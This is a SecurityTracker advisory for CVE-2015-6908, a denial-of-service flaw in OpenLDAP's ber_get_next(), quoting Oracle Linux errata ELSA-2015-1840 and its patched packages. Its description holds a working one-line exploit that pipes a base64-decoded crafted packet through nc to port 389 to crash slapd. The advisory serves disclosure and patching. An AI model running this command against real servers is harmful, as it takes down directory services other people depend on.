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Category:   Application (Directory)  >   OpenLDAP Vendors:   OpenLDAP.org
(Oracle Issues Fix for Oracle Linux) OpenLDAP Bug in ber_get_next() Lets Remote Users Cause the Target Service to Crash
SecurityTracker Alert ID:  1033676
SecurityTracker URL:  http://securitytracker.com/id/1033676
CVE Reference:   CVE-2015-6908   (Links to External Site)
Date:  Sep 30 2015
Impact:   Denial of service via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 2.4.42 and prior
Description:   A vulnerability was reported in OpenLDAP. A remote user can cause the target service to crash.

A remote user can send a specially crafted packet to cause the target slapd service to crash.

A demonstration exploit command is provided:

echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v [target] 389

The original advisory is available at:

http://www.security-assessment.com/files/documents/advisory/OpenLDAP-ber_get_next-Denial-of-Service.pdf

Denis Andzakovic of Security-Assessment.com reported this vulnerability.

Impact:   A remote user can cause the target LDAP service to crash.
Solution:   Oracle has issued a fix.

The Oracle Linux advisory is available at:

http://linux.oracle.com/errata/ELSA-2015-1840.html

Vendor URL:  linux.oracle.com/errata/ELSA-2015-1840.html (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Oracle)
Underlying OS Comments:  5, 6, 7

Message History:   This archive entry is a follow-up to the message listed below.
Sep 10 2015 OpenLDAP Bug in ber_get_next() Lets Remote Users Cause the Target Service to Crash



 Source Message Contents

Subject:  [El-errata] ELSA-2015-1840 Important: Oracle Linux 7 openldap security update

Oracle Linux Security Advisory ELSA-2015-1840

http://linux.oracle.com/errata/ELSA-2015-1840.html

The following updated rpms for Oracle Linux 7 have been uploaded to the 
Unbreakable Linux Network:

x86_64:
openldap-2.4.39-7.el7_1.i686.rpm
openldap-2.4.39-7.el7_1.x86_64.rpm
openldap-clients-2.4.39-7.el7_1.x86_64.rpm
openldap-devel-2.4.39-7.el7_1.i686.rpm
openldap-devel-2.4.39-7.el7_1.x86_64.rpm
openldap-servers-2.4.39-7.el7_1.x86_64.rpm
openldap-servers-sql-2.4.39-7.el7_1.x86_64.rpm


SRPMS:
http://oss.oracle.com/ol7/SRPMS-updates/openldap-2.4.39-7.el7_1.src.rpm



Description of changes:

[2.4.39-7]
- CVE-2015-6908 openldap: ber_get_next denial of service vulnerability 
(#1263173)


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